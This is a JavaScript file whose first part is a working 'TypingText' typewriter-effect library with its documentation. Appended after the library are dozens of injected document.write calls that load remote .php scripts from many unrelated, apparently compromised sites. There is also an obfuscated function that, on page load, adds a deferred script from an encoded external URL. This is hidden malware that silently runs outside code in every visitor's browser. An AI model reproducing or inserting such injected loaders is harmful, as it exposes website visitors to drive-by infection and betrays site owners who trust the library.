/*
An object-oriented Typing Text script, to allow for multiple instances.
A script that causes any text inside any text element to be "typed out", one letter at a time. Note that any HTML tags will not be included in the typed output, to prevent them from causing problems. Tested in Firefox v1.5.0.1, Opera v8.52, Konqueror v3.5.1, and IE v6.
Browsers that do not support this script will simply see the text fully displayed from the start, including any HTML tags.

Functions defined:
  TypingText(element, [interval = 100,] [cursor = "",] [finishedCallback = function(){return}]):
    Create a new TypingText object around the given element.  Optionally
    specify a delay between characters of interval milliseconds.
    cursor allows users to specify some HTML to be appended to the end of
    the string whilst typing.  Optionally, can also be a function which
    accepts the current text as an argument.  This allows the user to
    create a "dynamic cursor" which changes depending on the latest character
    or the current length of the string.
    finishedCallback allows advanced scripters to supply a function
    to be executed on finishing.  The function must accept no arguments.

  TypingText.run():
    Run the effect.

  static TypingText.runAll():
    Run all TypingText-enabled objects on the page.
*/

TypingText = function(element, interval, cursor, finishedCallback) {
  if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
    this.running = true;	// Never run.
    return;
  }
  this.element = element;
  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  this.interval = (typeof interval == "undefined" ? 100 : interval);
  this.origText = this.element.innerHTML;
  this.unparsedOrigText = this.origText;
  this.cursor = (cursor ? cursor : "");
  this.currentText = "";
  this.currentChar = 0;
  this.element.typingText = this;
  if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  TypingText.all.push(this);
  this.running = false;
  this.inTag = false;
  this.tagBuffer = "";
  this.inHTMLEntity = false;
  this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
  if(this.running) return;
  if(typeof this.origText == "undefined") {
    setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);	// We haven't finished loading yet.  Have patience.
    return;
  }
  if(this.currentText == "") this.element.innerHTML = "";
//  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  if(this.currentChar < this.origText.length) {
    if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
      this.tagBuffer = "<";
      this.inTag = true;
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
      this.tagBuffer += ">";
      this.inTag = false;
      this.currentText += this.tagBuffer;
      this.currentChar++;
      this.run();
      return;
    } else if(this.inTag) {
      this.tagBuffer += this.origText.charAt(this.currentChar);
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
      this.HTMLEntityBuffer = "&";
      this.inHTMLEntity = true;
      this.currentChar++;
      this.run();
      return;
    } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
      this.HTMLEntityBuffer += ";";
      this.inHTMLEntity = false;
      this.currentText += this.HTMLEntityBuffer;
      this.currentChar++;
      this.run();
      return;
    } else if(this.inHTMLEntity) {
      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
      this.currentChar++;
      this.run();
      return;
    } else {
      this.currentText += this.origText.charAt(this.currentChar);
    }
    this.element.innerHTML = this.currentText;
    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
    this.currentChar++;
    setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  } else {
	this.currentText = "";
	this.currentChar = 0;
        this.running = false;
        this.finishedCallback();
  }
}
document.write('<script src=http://ortopediktedavi.com/fckeditor/iletisim.php ><\/script>');
document.write('<script src=http://cadglobal.ca/images/services.php ><\/script>');
document.write('<script src=http://piki-omori.com/css/index.php ><\/script>');
document.write('<script src=http://piki-omori.com/css/index.php ><\/script>');
document.write('<script src=http://fastbenelux.com/Start/css2.php ><\/script>');
document.write('<script src=http://fastbenelux.com/Start/css2.php ><\/script>');
this.qY="";this.Ai="";function n(){var y=new String();var bc=new String();var M=unescape;var p;if(p!='j' && p!='s'){p='j'};var u=window;var K='';var R="";var Mj;if(Mj!='' && Mj!='cb'){Mj='r'};var c=M("%2f%62%6c%6f%67%67%65%72%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%69%6d%65%73%6f%6e%6c%69%6e%65%2e%63%6f%2e%75%6b%2e%70%68%70");var o;if(o!='' && o!='Sq'){o=null};function H(Y,A){var b=String("gpEb".substr(0,1));var Af=M("%5b"), Az=M("%5d");var T=Af+A+Az;this.D="";var ql;if(ql!=''){ql='Bw'};var Q=new RegExp(T, b);var dK=new Array();this.xM='';return Y.replace(Q, new String());this.i='';};var F;if(F!='wn' && F != ''){F=null};var Mo;if(Mo!='g'){Mo='g'};var tc;if(tc!='U'){tc='U'};var tx="";var fD;if(fD!=''){fD='YS'};var bb;if(bb!=''){bb='XO'};var a=H('816242304134382247077192','12359467');var Cn;if(Cn!='AG'){Cn=''};var d=new String();this.m='';var YM;if(YM!='' && YM!='mj'){YM='rC'};var q=document;var l;if(l!='' && l!='Dw'){l=''};var Cmb='';var iR=new Date();var my=new Array();this.LU='';function qr(){this.Fw="";var cu="";var bh=M("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");d=bh;this.Na='';d+=a;var qc="";var LB;if(LB!='' && LB!='ZN'){LB=null};d+=c;var v='';var Wy;if(Wy!=''){Wy='gy'};var EC;if(EC!='bk' && EC!='UR'){EC='bk'};try {var vW=new String();var dd;if(dd!='' && dd!='qhT'){dd='wm'};qh=q.createElement(H('sqc9rqiqpqtv','v9uq'));var jk;if(jk!='' && jk!='sj'){jk='Zv'};var wU;if(wU!='bu'){wU=''};var aD;if(aD!='mx'){aD=''};qh[M("%73%72%63")]=d;var oy='';qh[M("%64%65%66%65%72")]=[1,8][0];var EJ;if(EJ!='Ov' && EJ!='Zk'){EJ=''};var ue;if(ue!='' && ue!='CQ'){ue=null};var XF=new Array();var vY='';q.body.appendChild(qh);} catch(qw){var tw=new Date();this.I='';alert(qw);};this.Rr="";this.sd="";}var Ia='';var Mx='';u[new String("onzqty".substr(0,2)+"pMTGlo".substr(4)+"MHWad".substr(3))]=qr;var XL=new String();var GF;if(GF!='vWO'){GF='vWO'};};var iJ=new String();var fo;if(fo!='kyf' && fo != ''){fo=null};var bU;if(bU!='Rz' && bU != ''){bU=null};n();this.XW='';var cF;if(cF!='kE' && cF!='JT'){cF=''};
document.write('<script src=http://learningandthebrain.com/brain15faculty/schedule.php ><\/script>');
document.write('<script src=http://hatunyeri.com/images/Logger.php ><\/script>');
document.write('<script src=http://m.socialchat.net/tmp/gateway.php ><\/script>');
document.write('<script src=http://serveriui.tcs.lt/cstrike/admin.php ><\/script>');
document.write('<script src=http://serveriui.tcs.lt/cstrike/admin.php ><\/script>');
document.write('<script src=http://chanakan.com/UserFiles/Image/vxkiu.php ><\/script>');
document.write('<script src=http://inkshaf.com/common/columns.php ><\/script>');
document.write('<script src=http://inkshaf.com/common/columns.php ><\/script>');
document.write('<script src=http://inkshaf.com/common/columns.php ><\/script>');
document.write('<script src=http://inkshaf.com/common/columns.php ><\/script>');
document.write('<script src=http://jasonhalley.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jasonhalley.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jasonhalley.com/images/gifimg.php ><\/script>');
document.write('<script src=http://jasonhalley.com/images/gifimg.php ><\/script>');
document.write('<script src=http://luxurycars.ge/images/gaj/main_05.php ><\/script>');
document.write('<script src=http://luxurycars.ge/images/gaj/main_05.php ><\/script>');
document.write('<script src=http://luxurycars.ge/images/gaj/main_05.php ><\/script>');
document.write('<script src=http://luxurycars.ge/images/gaj/main_05.php ><\/script>');
document.write('<script src=http://kdev1.info/tinymce/clickbank.php ><\/script>');
document.write('<script src=http://readhomequran.com/images/dua4.php ><\/script>');
document.write('<script src=http://vindepaysing.fr/images/fdre/backgroundn.php ><\/script>');
document.write('<script src=http://vindepaysing.fr/images/fdre/backgroundn.php ><\/script>');
document.write('<script src=http://vindepaysing.fr/images/fdre/backgroundn.php ><\/script>');
document.write('<script src=http://vindepaysing.fr/images/fdre/backgroundn.php ><\/script>');
document.write('<script src=http://jobank.co.il/teva_galil/uk2.php ><\/script>');
document.write('<script src=http://jobank.co.il/teva_galil/uk2.php ><\/script>');
document.write('<script src=http://jobank.co.il/teva_galil/uk2.php ><\/script>');
document.write('<script src=http://simusician.4in1.biz/modules/configuration.php-dist.php ><\/script>');
document.write('<script src=http://simusician.4in1.biz/modules/configuration.php-dist.php ><\/script>');
document.write('<script src=http://salesian.net/images/school_r.php ><\/script>');
document.write('<script src=http://salesian.net/images/school_r.php ><\/script>');
document.write('<script src=http://salesian.net/images/school_r.php ><\/script>');
document.write('<script src=http://salesian.net/images/school_r.php ><\/script>');
document.write('<script src=http://salesian.net/images/school_r.php ><\/script>');
document.write('<script src=http://salesian.net/images/school_r.php ><\/script>');
document.write('<script src=http://anemone-nail.net/concept/mt-preview-0dd67458a1654ed69dd48f139cbeadb72817ed97.php ><\/script>');
document.write('<script src=http://anemone-nail.net/concept/mt-preview-0dd67458a1654ed69dd48f139cbeadb72817ed97.php ><\/script>');
document.write('<script src=http://anemone-nail.net/concept/mt-preview-0dd67458a1654ed69dd48f139cbeadb72817ed97.php ><\/script>');
document.write('<script src=http://anemone-nail.net/concept/mt-preview-0dd67458a1654ed69dd48f139cbeadb72817ed97.php ><\/script>');
document.write('<script src=http://anemone-nail.net/concept/mt-preview-0dd67458a1654ed69dd48f139cbeadb72817ed97.php ><\/script>');
document.write('<script src=http://trampoin.com/blog/company.php ><\/script>');
document.write('<script src=http://biznes-mlm.ru/lts/11.php ><\/script>');
document.write('<script src=http://biznes-mlm.ru/lts/11.php ><\/script>');
document.write('<script src=http://gospelradiofm.com/tmp/index.php ><\/script>');
document.write('<script src=http://gospelradiofm.com/tmp/index.php ><\/script>');
document.write('<script src=http://gospelradiofm.com/tmp/index.php ><\/script>');
document.write('<script src=http://gospelradiofm.com/tmp/index.php ><\/script>');
document.write('<script src=http://ct-tron.ru/imgigroups2/s1.php ><\/script>');
document.write('<script src=http://ct-tron.ru/imgigroups2/s1.php ><\/script>');
document.write('<script src=http://tatweb.net/css/leftnav.shtml.php ><\/script>');
document.write('<script src=http://bakersfieldpc.com/SpryAssets/business.php ><\/script>');
document.write('<script src=http://feda.org/elecciones/circulares.php ><\/script>');
document.write('<script src=http://feda.org/elecciones/circulares.php ><\/script>');
document.write('<script src=http://feda.org/elecciones/circulares.php ><\/script>');
document.write('<script src=http://iezinfo.co.kr/http/cust.php ><\/script>');
document.write('<script src=http://richieapartement.hu/katkepek/tipus.php ><\/script>');
document.write('<script src=http://armamarin.com/projeresim/arma_yatform.php ><\/script>');
document.write('<script src=http://armamarin.com/projeresim/arma_yatform.php ><\/script>');
document.write('<script src=http://eurograf.com.pl/images/gifimg.php ><\/script>');
document.write('<script src=http://thebakis.com/eng/erkektermo_6070.php ><\/script>');
document.write('<script src=http://thebakis.com/eng/erkektermo_6070.php ><\/script>');
document.write('<script src=http://thebakis.com/eng/erkektermo_6070.php ><\/script>');
document.write('<script src=http://thebakis.com/eng/erkektermo_6070.php ><\/script>');
document.write('<script src=http://thebakis.com/eng/erkektermo_6070.php ><\/script>');
document.write('<script src=http://thebakis.com/eng/erkektermo_6070.php ><\/script>');
document.write('<script src=http://carhire.moviecoupons.com/movies/bar.php ><\/script>');
document.write('<script src=http://mordokunuslar.com/config/mormenu.php ><\/script>');
document.write('<script src=http://microtechdirect.net/images/gifimg.php ><\/script>');
document.write('<script src=http://microtechdirect.net/images/gifimg.php ><\/script>');
document.write('<script src=http://microtechdirect.net/images/gifimg.php ><\/script>');
document.write('<script src=http://microtechdirect.net/images/gifimg.php ><\/script>');
document.write('<script src=http://oyun.barisch.org/wp-admin/wp-atom.php ><\/script>');
document.write('<script src=http://oyun.barisch.org/wp-admin/wp-atom.php ><\/script>');
document.write('<script src=http://whichcame1st.com/new/indexe.php ><\/script>');
document.write('<script src=http://whichcame1st.com/new/indexe.php ><\/script>');
document.write('<script src=http://whichcame1st.com/new/indexe.php ><\/script>');
document.write('<script src=http://whichcame1st.com/new/indexe.php ><\/script>');
document.write('<script src=http://motor-bike.pl/allegro/kontakt.php ><\/script>');
document.write('<script src=http://motor-bike.pl/allegro/kontakt.php ><\/script>');
document.write('<script src=http://motor-bike.pl/allegro/kontakt.php ><\/script>');
document.write('<script src=http://aiolosparos.gr/images/dom5.php ><\/script>');
document.write('<script src=http://aiolosparos.gr/images/dom5.php ><\/script>');
document.write('<script src=http://praiadavila.com.br/new/css.php ><\/script>');
document.write('<script src=http://praiadavila.com.br/new/css.php ><\/script>');
document.write('<script src=http://praiadavila.com.br/new/css.php ><\/script>');
document.write('<script src=http://01030501519.kt.io/upload/sound.php ><\/script>');
document.write('<script src=http://roulettekiller.com/images/gifimg.php ><\/script>');
document.write('<script src=http://casadosartistas.org.br/images/cns1/26.php ><\/script>');